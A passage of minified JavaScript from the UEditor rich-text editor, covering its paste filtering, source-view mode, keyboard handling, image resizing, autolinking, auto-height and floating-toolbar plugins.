                for (var l = C.selection.getRange(); !domUtils.isBody(l.startContainer) && !l.startOffset && l.startContainer[3 == l.startContainer.nodeType ? "nodeValue" : "childNodes"].length;) l.setStartBefore(l.startContainer);
                var d = l.createAddress(!0);
                y.endAddress = d.startAddress
            }
        }), C.addListener("ready", function () {
            domUtils.on(C.body, "cut", function () {
                !C.selection.getRange().collapsed && C.undoManger && C.undoManger.save()
            }), domUtils.on(C.body, browser.ie || browser.opera ? "keydown" : "paste", function (e) {
                (!browser.ie && !browser.opera || (e.ctrlKey || e.metaKey) && "86" == e.keyCode) && t.call(C, function (e) {
                    i(e)
                })
            })
        }), C.commands.paste = {
            execCommand: function (e) {
                browser.ie ? (t.call(C, function (e) {
                    i(e)
                }), C.document.execCommand("paste")) : alert(C.getLang("pastemsg"))
            }
        }
    }, UE.plugins.pasteplain = function () {
        function e(e) {
            e.tagName = "p", e.setStyle()
        }

        function t(e) {
            e.parentNode.removeChild(e, !0)
        }

        this.setOpt({
            pasteplain: !1,
            filterTxtRules: {
                "-": "script style object iframe embed input select",
                p: {$: {}},
                br: {$: {}},
                div: function (e) {
                    var t, i = UE.uNode.createElement("p");
                    for (i.className = "ueditor-p"; t = e.firstChild();) "text" != t.type && UE.dom.dtd.$block[t.tagName] ? i.firstChild() ? (e.parentNode.insertBefore(i, e), (i = UE.uNode.createElement("p")).className = "ueditor-p") : e.parentNode.insertBefore(t, e) : i.appendChild(t);
                    i.firstChild() && e.parentNode.insertBefore(i, e), e.parentNode.removeChild(e)
                },
                ol: t,
                ul: t,
                dl: t,
                dt: t,
                dd: t,
                li: t,
                caption: e,
                th: e,
                tr: e,
                h1: e,
                h2: e,
                h3: e,
                h4: e,
                h5: e,
                h6: e,
                td: function (e) {
                    e.innerText() && e.parentNode.insertAfter(UE.uNode.createText(" &nbsp; &nbsp;"), e), e.parentNode.removeChild(e, e.innerText())
                }
            }
        });
        var i = this.options.pasteplain;
        this.commands.pasteplain = {
            queryCommandState: function () {
                return i ? 1 : 0
            }, execCommand: function () {
                i = 0 | !i
            }, notNeedUndo: 1
        }
    }, yC = {
        textarea: function (e, t) {
            var i = t.ownerDocument.createElement("textarea");
            return i.style.cssText = "position:absolute;resize:none;width:100%;height:100%;border:0;padding:0;margin:0;overflow-y:auto;", browser.ie && browser.version < 8 && (i.style.width = t.offsetWidth + "px", i.style.height = t.offsetHeight + "px", t.onresize = function () {
                i.style.width = t.offsetWidth + "px", i.style.height = t.offsetHeight + "px"
            }), t.appendChild(i), {
                setContent: function (e) {
                    i.value = e
                }, getContent: function () {
                    return i.value
                }, select: function () {
                    var e;
                    browser.ie ? ((e = i.createTextRange()).collapse(!0), e.select()) : (i.setSelectionRange(0, 0), i.focus())
                }, dispose: function () {
                    t.removeChild(i), t.onresize = null, t = i = null
                }
            }
        }, codemirror: function (e, t) {
            var i = window.CodeMirror(t, {mode: "text/html", tabMode: "indent", lineNumbers: !0, lineWrapping: !0}),
                n = i.getWrapperElement();
            return n.style.cssText = 'position:absolute;left:0;top:0;width:100%;height:100%;font-family:consolas,"Courier new",monospace;font-size:13px;', i.getScrollerElement().style.cssText = "position:absolute;left:0;top:0;width:100%;height:100%;", i.refresh(), {
                getCodeMirror: function () {
                    return i
                }, setContent: function (e) {
                    i.setValue(e)
                }, getContent: function () {
                    return i.getValue()
                }, select: function () {
                    i.focus()
                }, dispose: function () {
                    t.removeChild(n), i = n = null
                }
            }
        }
    }, UE.plugins.source = function () {
        var a, s, l, d, c, u = this, m = this.options, f = !1;
        m.sourceEditor = browser.ie ? "textarea" : m.sourceEditor || "codemirror", u.setOpt({sourceEditorFirst: !1}), u.commands.source = {
            execCommand: function () {
                if (f = !f) {
                    c = u.selection.getRange().createAddress(!1, !0), u.undoManger && u.undoManger.save(!0), browser.gecko && (u.body.contentEditable = !1), l = u.iframe.style.cssText, u.iframe.style.cssText += "position:absolute;left:-32768px;top:-32768px;", u.fireEvent("beforegetcontent");
                    var e = UE.htmlparser(u.body.innerHTML);
                    u.filterOutputRule(e), e.traversal(function (e) {
                        if ("element" == e.type) switch (e.tagName) {
                            case"td":
                            case"th":
                            case"caption":
                                e.children && 1 == e.children.length && "br" == e.firstChild().tagName && e.removeChild(e.firstChild());
                                break;
                            case"pre":
                                e.innerText(e.innerText().replace(/&nbsp;/g, " "))
                        }
                    }), u.fireEvent("aftergetcontent");
                    var t = e.toHtml(!0);
                    r = u.iframe.parentNode, (a = yC["codemirror" == m.sourceEditor && window.CodeMirror ? "codemirror" : "textarea"](u, r)).setContent(t), s = u.setContent, u.setContent = function (e) {
                        var t = UE.htmlparser(e);
                        u.filterInputRule(t), e = t.toHtml(), a.setContent(e)
                    }, setTimeout(function () {
                        a.select(), u.addListener("fullscreenchanged", function () {
                            try {
                                a.getCodeMirror().refresh()
                            } catch (e) {
                            }
                        })
                    }), d = u.getContent, u.getContent = function () {
                        return a.getContent() || '<p class="ueditor-p">' + (browser.ie ? "" : "<br/>") + "</p>"
                    }
                } else {
                    u.iframe.style.cssText = l;
                    var i = a.getContent() || '<p class="ueditor-p">' + (browser.ie ? "" : "<br/>") + "</p>";
                    i = i.replace(new RegExp("[\\r\\t\\n ]*</?(\\w+)\\s*(?:[^>]*)>", "g"), function (e, t) {
                        return t && !dtd.$inlineWithA[t.toLowerCase()] ? e.replace(/(^[\n\r\t ]*)|([\n\r\t ]*$)/g, "") : e.replace(/(^[\n\r\t]*)|([\n\r\t]*$)/g, "")
                    }), u.setContent = s, u.setContent(i), a.dispose(), a = null, u.getContent = d;
                    var n = u.body.firstChild;
                    if (n || (u.body.innerHTML = '<p class="ueditor-p">' + (browser.ie ? "" : "<br/>") + "</p>", n = u.body.firstChild), u.undoManger && u.undoManger.save(!0), browser.gecko) {
                        var o = document.createElement("input");
                        o.style.cssText = "position:absolute;left:0;top:-32768px", document.body.appendChild(o), u.body.contentEditable = !1, setTimeout(function () {
                            domUtils.setViewportOffset(o, {left: -32768, top: 0}), o.focus(), setTimeout(function () {
                                u.body.contentEditable = !0, u.selection.getRange().moveToAddress(c).select(!0), domUtils.remove(o)
                            })
                        })
                    } else try {
                        u.selection.getRange().moveToAddress(c).select(!0)
                    } catch (e) {
                    }
                }
                var r;
                this.fireEvent("sourcemodechanged", f)
            }, queryCommandState: function () {
                return 0 | f
            }, notNeedUndo: 1
        };
        var t = u.queryCommandState;
        u.queryCommandState = function (e) {
            return e = e.toLowerCase(), f ? e in {source: 1, fullscreen: 1} ? 1 : -1 : t.apply(this, arguments)
        }, "codemirror" == m.sourceEditor && u.addListener("ready", function () {
            utils.loadFile(document, {
                src: m.codeMirrorJsUrl || m.UEDITOR_HOME_URL + "third-party/codemirror/codemirror.js",
                tag: "script",
                type: "text/javascript",
                defer: "defer"
            }, function () {
                m.sourceEditorFirst && setTimeout(function () {
                    u.execCommand("source")
                }, 0)
            }), utils.loadFile(document, {
                tag: "link",
                rel: "stylesheet",
                type: "text/css",
                href: m.codeMirrorCssUrl || m.UEDITOR_HOME_URL + "third-party/codemirror/codemirror.css"
            })
        })
    }, UE.plugins.enterkey = function () {
        var l, d = this, c = d.options.enterTag;
        d.addListener("keyup", function (e, t) {
            if (13 == (t.keyCode || t.which)) {
                var i, n = d.selection.getRange(), o = n.startContainer;
                if (browser.ie) d.fireEvent("saveScene", !0, !0); else {
                    if (/h\d/i.test(l)) {
                        if (browser.gecko) domUtils.findParentByTagName(o, ["h1", "h2", "h3", "h4", "h5", "h6", "blockquote", "caption", "table"], !0) || (d.document.execCommand("formatBlock", !1, '<p class="ueditor-p">'), i = 1); else if (1 == o.nodeType) {
                            var r, a = d.document.createTextNode("");
                            if (n.insertNode(a), r = domUtils.findParentByTagName(a, "div", !0)) {
                                var s = d.document.createElement("p");
                                for (s.className = "ueditor-p"; r.firstChild;) s.appendChild(r.firstChild);
                                r.parentNode.insertBefore(s, r), domUtils.remove(r), n.setStartBefore(a).setCursor(), i = 1
                            }
                            domUtils.remove(a)
                        }
                        d.undoManger && i && d.undoManger.save()
                    }
                    browser.opera && n.select()
                }
            }
        }), d.addListener("keydown", function (e, t) {
            if (13 == (t.keyCode || t.which)) {
                if (d.fireEvent("beforeenterkeydown")) return void domUtils.preventDefault(t);
                d.fireEvent("saveScene", !0, !0), l = "";
                var i = d.selection.getRange();
                if (!i.collapsed) {
                    var n = i.startContainer, o = i.endContainer, r = domUtils.findParentByTagName(n, "td", !0),
                        a = domUtils.findParentByTagName(o, "td", !0);
                    if (r && a && r !== a || !r && a || r && !a) return void (t.preventDefault ? t.preventDefault() : t.returnValue = !1)
                }
                if ("p" == c) browser.ie || ((n = domUtils.findParentByTagName(i.startContainer, ["ol", "ul", "p", "h1", "h2", "h3", "h4", "h5", "h6", "blockquote", "caption"], !0)) || browser.opera ? (l = n.tagName, "p" == n.tagName.toLowerCase() && browser.gecko && domUtils.removeDirtyAttr(n)) : (d.document.execCommand("formatBlock", !1, '<p class="ueditor-p">'), browser.gecko && (i = d.selection.getRange(), (n = domUtils.findParentByTagName(i.startContainer, "p", !0)) && domUtils.removeDirtyAttr(n)))); else if (t.preventDefault ? t.preventDefault() : t.returnValue = !1, i.collapsed) s = i.document.createElement("br"), i.insertNode(s), s.parentNode.lastChild === s ? (s.parentNode.insertBefore(s.cloneNode(!0), s), i.setStartBefore(s)) : i.setStartAfter(s), i.setCursor(); else if (i.deleteContents(), 1 == (n = i.startContainer).nodeType && (n = n.childNodes[i.startOffset])) {
                    for (; 1 == n.nodeType;) {
                        if (dtd.$empty[n.tagName]) return i.setStartBefore(n).setCursor(), d.undoManger && d.undoManger.save(), !1;
                        if (!n.firstChild) {
                            var s = i.document.createElement("br");
                            return n.appendChild(s), i.setStart(n, 0).setCursor(), d.undoManger && d.undoManger.save(), !1
                        }
                        n = n.firstChild
                    }
                    n === i.startContainer.childNodes[i.startOffset] ? (s = i.document.createElement("br"), i.insertNode(s).setCursor()) : i.setStart(n, 0).setCursor()
                } else s = i.document.createElement("br"), i.insertNode(s).setStartAfter(s).setCursor()
            }
        })
    }, UE.plugins.keystrokes = function () {
        var y = this, C = !0;
        y.addListener("keydown", function (e, t) {
            var i = t.keyCode || t.which, n = y.selection.getRange();
            if (!n.collapsed && !(t.ctrlKey || t.shiftKey || t.altKey || t.metaKey) && (65 <= i && i <= 90 || 48 <= i && i <= 57 || 96 <= i && i <= 111 || {
                13: 1,
                8: 1,
                46: 1
            }[i])) {
                var o = n.startContainer;
                if (domUtils.isFillChar(o) && n.setStartBefore(o), o = n.endContainer, domUtils.isFillChar(o) && n.setEndAfter(o), n.txtToElmBoundary(), n.endContainer && 1 == n.endContainer.nodeType && (o = n.endContainer.childNodes[n.endOffset]) && domUtils.isBr(o) && n.setEndAfter(o), 0 == n.startOffset && (o = n.startContainer, domUtils.isBoundaryNode(o, "firstChild") && (o = n.endContainer, n.endOffset == (3 == o.nodeType ? o.nodeValue.length : o.childNodes.length) && domUtils.isBoundaryNode(o, "lastChild")))) return y.fireEvent("saveScene"), y.body.innerHTML = '<p class="ueditor-p">' + (browser.ie ? "" : "<br/>") + "</p>", n.setStart(y.body.firstChild, 0).setCursor(!1, !0), void y._selectionChange()
            }
            if (i == keymap.Backspace) {
                if (n = y.selection.getRange(), C = n.collapsed, y.fireEvent("delkeydown", t)) return;
                var r, a;
                if (n.collapsed && n.inFillChar() && (r = n.startContainer, domUtils.isFillChar(r) ? (n.setStartBefore(r).shrinkBoundary(!0).collapse(!0), domUtils.remove(r)) : (r.nodeValue = r.nodeValue.replace(new RegExp("^" + domUtils.fillChar), ""), n.startOffset--, n.collapse(!0).select(!0))), r = n.getClosedNode()) return y.fireEvent("saveScene"), n.setStartBefore(r), domUtils.remove(r), n.setCursor(), y.fireEvent("saveScene"), void domUtils.preventDefault(t);
                if (!browser.ie && (r = domUtils.findParentByTagName(n.startContainer, "table", !0), a = domUtils.findParentByTagName(n.endContainer, "table", !0), r && !a || !r && a || r !== a)) return void t.preventDefault()
            }
            if (i == keymap.Tab) {
                var s = {ol: 1, ul: 1, table: 1};
                if (y.fireEvent("tabkeydown", t)) return void domUtils.preventDefault(t);
                var l = y.selection.getRange();
                y.fireEvent("saveScene");
                for (var d = 0, c = "", u = y.options.tabSize || 4, m = y.options.tabNode || "&nbsp;"; d < u; d++) c += m;
                var f = y.document.createElement("span");
                if (f.innerHTML = c + domUtils.fillChar, l.collapsed) l.insertNode(f.cloneNode(!0).firstChild).setCursor(!0); else {
                    function h(e) {
                        return domUtils.isBlockElm(e) && !s[e.tagName.toLowerCase()]
                    }

                    if (r = domUtils.findParent(l.startContainer, h, !0), a = domUtils.findParent(l.endContainer, h, !0), r && a && r === a) l.deleteContents(), l.insertNode(f.cloneNode(!0).firstChild).setCursor(!0); else {
                        var p = l.createBookmark();
                        l.enlarge(!0);
                        for (var g = l.createBookmark(), b = domUtils.getNextDomNode(g.start, !1, h); b && !(domUtils.getPosition(b, g.end) & domUtils.POSITION_FOLLOWING);) b.insertBefore(f.cloneNode(!0).firstChild, b.firstChild), b = domUtils.getNextDomNode(b, !1, h);
                        l.moveToBookmark(g).moveToBookmark(p).select()
                    }
                }
                domUtils.preventDefault(t)
            }
            if (browser.gecko && 46 == i && (l = y.selection.getRange()).collapsed && (r = l.startContainer, domUtils.isEmptyBlock(r))) {
                for (var v = r.parentNode; 1 == domUtils.getChildCount(v) && !domUtils.isBody(v);) v = (r = v).parentNode;
                r === v.lastChild && t.preventDefault()
            } else ;
        }), y.addListener("keyup", function (e, t) {
            var i;
            if ((t.keyCode || t.which) == keymap.Backspace) {
                if (this.fireEvent("delkeyup")) return;
                if ((i = this.selection.getRange()).collapsed) {
                    if ((r = domUtils.findParentByTagName(i.startContainer, ["h1", "h2", "h3", "h4", "h5", "h6"], !0)) && domUtils.isEmptyBlock(r)) {
                        var n = r.previousSibling;
                        if (n && "TABLE" != n.nodeName) return domUtils.remove(r), void i.setStartAtLast(n).setCursor(!1, !0);
                        var o = r.nextSibling;
                        if (o && "TABLE" != o.nodeName) return domUtils.remove(r), void i.setStartAtFirst(o).setCursor(!1, !0)
                    }
                    if (domUtils.isBody(i.startContainer)) {
                        var r = domUtils.createElement(this.document, "p", {innerHTML: browser.ie ? domUtils.fillChar : "<br/>"});
                        i.insertNode(r).setStart(r, 0).setCursor(!1, !0)
                    }
                }
                if (!C && (3 == i.startContainer.nodeType || 1 == i.startContainer.nodeType && domUtils.isEmptyBlock(i.startContainer))) if (browser.ie) {
                    var a = i.document.createElement("span");
                    i.insertNode(a).setStartBefore(a).collapse(!0), i.select(), domUtils.remove(a)
                } else i.select()
            }
        })
    }, UE.plugins.fiximgclick = (gE = !1, iE = [[0, 0, -1, -1], [0, 0, 0, -1], [0, 0, 1, -1], [0, 0, -1, 0], [0, 0, 1, 0], [0, 0, -1, 1], [0, 0, 0, 1], [0, 0, 1, 1]], hE.prototype = {
        init: function (e) {
            var t = this;
            t.editor = e, t.startPos = this.prePos = {x: 0, y: 0}, t.dragId = -1;
            var i = [], n = t.cover = document.createElement("div"), o = t.resizer = document.createElement("div");
            n.id = t.editor.ui.id + "_imagescale_cover", n.style.cssText = "position:absolute;display:none;z-index:" + t.editor.options.zIndex + ";filter:alpha(opacity=0); opacity:0;background:#CCC;", domUtils.on(n, "mousedown click", function () {
                t.hide()
            });
            for (var r = 0; r < 8; r++) i.push('<span class="edui-editor-imagescale-hand' + r + '"></span>');
            o.id = t.editor.ui.id + "_imagescale", o.className = "edui-editor-imagescale", o.innerHTML = i.join(""), o.style.cssText += ";display:none;border:1px solid #3b77ff;z-index:" + t.editor.options.zIndex + ";", t.editor.ui.getDom().appendChild(n), t.editor.ui.getDom().appendChild(o), t.initStyle(), t.initEvents()
        }, initStyle: function () {
            utils.cssRule("imagescale", ".edui-editor-imagescale{display:none;position:absolute;border:1px solid #38B2CE;cursor:hand;-webkit-box-sizing: content-box;-moz-box-sizing: content-box;box-sizing: content-box;}.edui-editor-imagescale span{position:absolute;width:6px;height:6px;overflow:hidden;font-size:0px;display:block;background-color:#3C9DD0;}.edui-editor-imagescale .edui-editor-imagescale-hand0{cursor:nw-resize;top:0;margin-top:-4px;left:0;margin-left:-4px;}.edui-editor-imagescale .edui-editor-imagescale-hand1{cursor:n-resize;top:0;margin-top:-4px;left:50%;margin-left:-4px;}.edui-editor-imagescale .edui-editor-imagescale-hand2{cursor:ne-resize;top:0;margin-top:-4px;left:100%;margin-left:-3px;}.edui-editor-imagescale .edui-editor-imagescale-hand3{cursor:w-resize;top:50%;margin-top:-4px;left:0;margin-left:-4px;}.edui-editor-imagescale .edui-editor-imagescale-hand4{cursor:e-resize;top:50%;margin-top:-4px;left:100%;margin-left:-3px;}.edui-editor-imagescale .edui-editor-imagescale-hand5{cursor:sw-resize;top:100%;margin-top:-3px;left:0;margin-left:-4px;}.edui-editor-imagescale .edui-editor-imagescale-hand6{cursor:s-resize;top:100%;margin-top:-3px;left:50%;margin-left:-4px;}.edui-editor-imagescale .edui-editor-imagescale-hand7{cursor:se-resize;top:100%;margin-top:-3px;left:100%;margin-left:-3px;}")
        }, initEvents: function () {
            this.startPos.x = this.startPos.y = 0, this.isDraging = !1
        }, _eventHandler: function (e) {
            var t = this;
            switch (e.type) {
                case"mousedown":
                    var i;
                    -1 != (i = e.target || e.srcElement).className.indexOf("edui-editor-imagescale-hand") && -1 == t.dragId && (t.dragId = i.className.slice(-1), t.startPos.x = t.prePos.x = e.clientX, t.startPos.y = t.prePos.y = e.clientY, domUtils.on(t.doc, "mousemove", t.proxy(t._eventHandler, t)));
                    break;
                case"mousemove":
                    -1 != t.dragId && (t.updateContainerStyle(t.dragId, {
                        x: e.clientX - t.prePos.x,
                        y: e.clientY - t.prePos.y
                    }), t.prePos.x = e.clientX, t.prePos.y = e.clientY, gE = !0, t.updateTargetElement());
                    break;
                case"mouseup":
                    -1 != t.dragId && (t.updateContainerStyle(t.dragId, {
                        x: e.clientX - t.prePos.x,
                        y: e.clientY - t.prePos.y
                    }), t.updateTargetElement(), t.target.parentNode && t.attachTo(t.target), t.dragId = -1), domUtils.un(t.doc, "mousemove", t.proxy(t._eventHandler, t)), gE && (gE = !1, t.editor.fireEvent("contentchange"))
            }
        }, updateTargetElement: function () {
            var e = this;
            domUtils.setStyles(e.target, {
                width: e.resizer.style.width,
                height: e.resizer.style.height
            }), e.target.width = parseInt(e.resizer.style.width), e.target.height = parseInt(e.resizer.style.height), e.attachTo(e.target)
        }, updateContainerStyle: function (e, t) {
            var i, n = this, o = n.resizer;
            0 != iE[e][0] && (i = parseInt(o.style.left) + t.x, o.style.left = n._validScaledProp("left", i) + "px"), 0 != iE[e][1] && (i = parseInt(o.style.top) + t.y, o.style.top = n._validScaledProp("top", i) + "px"), 0 != iE[e][2] && (i = o.clientWidth + iE[e][2] * t.x, o.style.width = n._validScaledProp("width", i) + "px"), 0 != iE[e][3] && (i = o.clientHeight + iE[e][3] * t.y, o.style.height = n._validScaledProp("height", i) + "px")
        }, _validScaledProp: function (e, t) {
            var i = this.resizer, n = document;
            switch (t = isNaN(t) ? 0 : t, e) {
                case"left":
                    return t < 0 ? 0 : t + i.clientWidth > n.clientWidth ? n.clientWidth - i.clientWidth : t;
                case"top":
                    return t < 0 ? 0 : t + i.clientHeight > n.clientHeight ? n.clientHeight - i.clientHeight : t;
                case"width":
                    return t <= 0 ? 1 : t + i.offsetLeft > n.clientWidth ? n.clientWidth - i.offsetLeft : t;
                case"height":
                    return t <= 0 ? 1 : t + i.offsetTop > n.clientHeight ? n.clientHeight - i.offsetTop : t
            }
        }, hideCover: function () {
            this.cover.style.display = "none"
        }, showCover: function () {
            var e = this, t = domUtils.getXY(e.editor.ui.getDom()), i = domUtils.getXY(e.editor.iframe);
            domUtils.setStyles(e.cover, {
                width: e.editor.iframe.offsetWidth + "px",
                height: e.editor.iframe.offsetHeight + "px",
                top: i.y - t.y + "px",
                left: i.x - t.x + "px",
                position: "absolute",
                display: ""
            })
        }, show: function (e) {
            var t = this;
            t.resizer.style.display = "block", e && t.attachTo(e), domUtils.on(this.resizer, "mousedown", t.proxy(t._eventHandler, t)), domUtils.on(t.doc, "mouseup", t.proxy(t._eventHandler, t)), t.showCover(), t.editor.fireEvent("afterscaleshow", t), t.editor.fireEvent("saveScene")
        }, hide: function () {
            var e = this;
            e.hideCover(), e.resizer.style.display = "none", domUtils.un(e.resizer, "mousedown", e.proxy(e._eventHandler, e)), domUtils.un(e.doc, "mouseup", e.proxy(e._eventHandler, e)), e.editor.fireEvent("afterscalehide", e)
        }, proxy: function (t, i) {
            return function (e) {
                return t.apply(i || this, arguments)
            }
        }, attachTo: function (e) {
            var t = this.target = e, i = this.resizer, n = domUtils.getXY(t), o = domUtils.getXY(this.editor.iframe),
                r = domUtils.getXY(i.parentNode);
            domUtils.setStyles(i, {
                width: t.width + "px",
                height: t.height + "px",
                left: o.x + n.x - this.editor.document.body.scrollLeft - r.x - parseInt(i.style.borderLeftWidth) + "px",
                top: o.y + n.y - this.editor.document.body.scrollTop - r.y - parseInt(i.style.borderTopWidth) + "px"
            })
        }
    }, function () {
        var a, s = this;
        s.setOpt("imageScaleEnabled", !0), !browser.ie && s.options.imageScaleEnabled && s.addListener("click", function (e, t) {
            var i = s.selection.getRange().getClosedNode();
            if (i && "IMG" == i.tagName && "false" != s.body.contentEditable) {
                if (-1 != i.className.indexOf("edui-faked-music") || i.getAttribute("anchorname") || domUtils.hasClass(i, "loadingclass") || domUtils.hasClass(i, "loaderrorclass")) return;
                if (!a) {
                    function n(e) {
                        a.hide(), a.target && s.selection.getRange().selectNode(a.target).select()
                    }

                    function o(e) {
                        var t = e.target || e.srcElement;
                        !t || void 0 !== t.className && -1 != t.className.indexOf("edui-editor-imagescale") || n()
                    }

                    var r;
                    (a = new hE).init(s), s.ui.getDom().appendChild(a.resizer), s.addListener("afterscaleshow", function (e) {
                        s.addListener("beforekeydown", n), s.addListener("beforemousedown", o), domUtils.on(document, "keydown", n), domUtils.on(document, "mousedown", o), s.selection.getNative().removeAllRanges()
                    }), s.addListener("afterscalehide", function (e) {
                        s.removeListener("beforekeydown", n), s.removeListener("beforemousedown", o), domUtils.un(document, "keydown", n), domUtils.un(document, "mousedown", o);
                        var t = a.target;
                        t.parentNode && s.selection.getRange().selectNode(t).select()
                    }), domUtils.on(a.resizer, "mousedown", function (e) {
                        s.selection.getNative().removeAllRanges();
                        var t = e.target || e.srcElement;
                        t && -1 == t.className.indexOf("edui-editor-imagescale-hand") && (r = setTimeout(function () {
                            a.hide(), a.target && s.selection.getRange().selectNode(t).select()
                        }, 200))
                    }), domUtils.on(a.resizer, "mouseup", function (e) {
                        var t = e.target || e.srcElement;
                        t && -1 == t.className.indexOf("edui-editor-imagescale-hand") && clearTimeout(r)
                    })
                }
                a.show(i)
            } else a && "none" != a.resizer.style.display && a.hide()
        }), browser.webkit && s.addListener("click", function (e, t) {
            "IMG" == t.target.tagName && "false" != s.body.contentEditable && new dom.Range(s.document).selectNode(t.target).select()
        })
    }), UE.plugin.register("autolink", function () {
        return browser.ie ? {} : {
            bindEvents: {
                reset: function () {
                    0
                }, keydown: function (e, t) {
                    var i = this, n = t.keyCode || t.which;
                    if (32 == n || 13 == n) {
                        for (var o, r, a = i.selection.getNative(), s = a.getRangeAt(0).cloneRange(), l = s.startContainer; 1 == l.nodeType && 0 < s.startOffset && (l = s.startContainer.childNodes[s.startOffset - 1]);) s.setStart(l, 1 == l.nodeType ? l.childNodes.length : l.nodeValue.length), s.collapse(!0), l = s.startContainer;
                        do {
                            if (0 == s.startOffset) {
                                for (l = s.startContainer.previousSibling; l && 1 == l.nodeType;) l = l.lastChild;
                                if (!l || domUtils.isFillChar(l)) break;
                                o = l.nodeValue.length
                            } else l = s.startContainer, o = s.startOffset;
                            s.setStart(l, o - 1), r = s.toString().charCodeAt(0)
                        } while (160 != r && 32 != r);
                        if (s.toString().replace(new RegExp(domUtils.fillChar, "g"), "").match(/(?:https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.)/i)) {
                            for (; s.toString().length && !/^(?:https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.)/i.test(s.toString());) try {
                                s.setStart(s.startContainer, s.startOffset + 1)
                            } catch (e) {
                                for (l = s.startContainer; !(next = l.nextSibling);) {
                                    if (domUtils.isBody(l)) return;
                                    l = l.parentNode
                                }
                                s.setStart(next, 0)
                            }
                            if (domUtils.findParentByTagName(s.startContainer, "a", !0)) return;
                            var d, c = i.document.createElement("a"), u = i.document.createTextNode(" ");
                            i.undoManger && i.undoManger.save(), c.appendChild(s.extractContents()), c.href = c.innerHTML = c.innerHTML.replace(/<[^>]+>/g, ""), d = c.getAttribute("href").replace(new RegExp(domUtils.fillChar, "g"), ""), d = /^(?:https?:\/\/)/gi.test(d) ? d : "http://" + d, c.setAttribute("_src", utils.html(d)), c.href = utils.html(d), s.insertNode(c), c.parentNode.insertBefore(u, c.nextSibling), s.setStart(u, 0), s.collapse(!0), a.removeAllRanges(), a.addRange(s), i.undoManger && i.undoManger.save()
                        }
                    }
                }
            }
        }
    }, function () {
        var s = {37: 1, 38: 1, 39: 1, 40: 1, 13: 1, 32: 1};
        browser.ie && this.addListener("keyup", function (e, t) {
            var i = t.keyCode;
            if (s[i]) {
                var n = this.selection.getRange(), o = n.startContainer;
                if (13 == i) {
                    for (; o && !domUtils.isBody(o) && !domUtils.isBlockElm(o);) o = o.parentNode;
                    var r;
                    if (o && !domUtils.isBody(o) && "P" == o.nodeName) if ((r = o.previousSibling) && 1 == r.nodeType) (r = function (e) {
                        if (3 == e.nodeType) return null;
                        if ("A" == e.nodeName) return e;
                        for (var t = e.lastChild; t;) {
                            if ("A" == t.nodeName) return t;
                            if (3 == t.nodeType) {
                                if (domUtils.isWhitespace(t)) {
                                    t = t.previousSibling;
                                    continue
                                }
                                return null
                            }
                            t = t.lastChild
                        }
                    }(r)) && !r.getAttribute("_href") && domUtils.remove(r, !0)
                } else if (32 == i) 3 == o.nodeType && /^\s$/.test(o.nodeValue) && (o = o.previousSibling) && "A" == o.nodeName && !o.getAttribute("_href") && domUtils.remove(o, !0); else if ((o = domUtils.findParentByTagName(o, "a", !0)) && !o.getAttribute("_href")) {
                    var a = n.createBookmark();
                    domUtils.remove(o, !0), n.moveToBookmark(a).select(!0)
                }
            }
        })
    }), UE.plugins.autoheight = function () {
        var i = this;
        if (i.autoHeightEnabled = !1 !== i.options.autoHeightEnabled, i.autoHeightEnabled) {
            var n, o, e, r, a = 0, s = i.options;
            i.addListener("fullscreenchanged", function (e, t) {
                r = t
            }), i.addListener("destroy", function () {
                i.removeListener("contentchange afterinserthtml keyup mouseup", l)
            }), i.enableAutoHeight = function () {
                var e = this;
                if (e.autoHeightEnabled) {
                    var t = e.document;
                    e.autoHeightEnabled = !0, n = t.body.style.overflowY, t.body.style.overflowY = "hidden", e.addListener("contentchange afterinserthtml keyup mouseup", l), setTimeout(function () {
                        l.call(e)
                    }, browser.gecko ? 100 : 0), e.fireEvent("autoheightchanged", e.autoHeightEnabled)
                }
            }, i.disableAutoHeight = function () {
                i.body.style.overflowY = n || "", i.removeListener("contentchange", l), i.removeListener("keyup", l), i.removeListener("mouseup", l), i.autoHeightEnabled = !1, i.fireEvent("autoheightchanged", i.autoHeightEnabled)
            }, i.on("setHeight", function () {
                i.disableAutoHeight()
            }), i.addListener("ready", function () {
                var e, t;
                i.enableAutoHeight(), domUtils.on(browser.ie ? i.body : i.document, browser.webkit ? "dragover" : "drop", function () {
                    clearTimeout(e), e = setTimeout(function () {
                        l.call(i)
                    }, 100)
                }), window.onscroll = function () {
                    null === t ? t = this.scrollY : 0 == this.scrollY && 0 != t && (i.window && i.window.scrollTo(0, 0), t = null)
                }
            })
        }

        function l() {
            var t = this;
            clearTimeout(e), r || (!t.queryCommandState || t.queryCommandState && 1 != t.queryCommandState("source")) && (e = setTimeout(function () {
                for (var e = t.body.lastChild; e && 1 != e.nodeType;) e = e.previousSibling;
                e && 1 == e.nodeType && (e.style.clear = "both", (o = Math.max(domUtils.getXY(e).y + e.offsetHeight + 25, Math.max(s.minFrameHeight, s.initialFrameHeight))) != a && (o !== parseInt(t.iframe.parentNode.style.height) && (t.iframe.parentNode.style.height = o + "px"), t.body.style.height = o + "px", a = o), domUtils.removeStyle(e, "clear"))
            }, 50))
        }
    }, UE.plugins.autofloat = function () {
        var r = this, t = r.getLang();
        r.setOpt({topOffset: 0});
        var e = !1 !== r.options.autoFloatEnabled, a = r.options.topOffset;
        if (e) {
            var i, s, l, d, n = UE.ui.uiUtils, c = browser.ie && browser.version <= 6, u = browser.quirks,
                m = document.createElement("div"), f = !0, o = utils.defer(function () {
                    p()
                }, browser.ie ? 200 : 100, !0);
            r.addListener("destroy", function () {
                domUtils.un(window, ["scroll", "resize"], p), r.removeListener("keydown", o)
            }), r.addListener("ready", function () {
                if (function () {
                    if (UE.ui) return 1;
                    alert(t.autofloatMsg)
                }()) {
                    if (!r.ui) return;
                    d = n.getClientRect, s = r.ui.getDom("toolbarbox"), l = d(s).top, i = s.style.cssText, m.style.height = s.offsetHeight + "px", c && ((e = document.body.style).backgroundImage = 'url("about:blank")', e.backgroundAttachment = "fixed"), domUtils.on(window, ["scroll", "resize"], p), r.addListener("keydown", o), r.addListener("beforefullscreenchange", function (e, t) {
                        t && h()
                    }), r.addListener("fullscreenchanged", function (e, t) {
                        t || p()
                    }), r.addListener("sourcemodechanged", function (e, t) {
                        setTimeout(function () {
                            p()
                        }, 0)
                    }), r.addListener("clearDoc", function () {
                        setTimeout(function () {
                            p()
                        }, 0)
                    })
                }
                var e
            })
        }

        function h() {
            f = !0, m.parentNode && m.parentNode.removeChild(m), s.style.cssText = i
        }

        function p() {
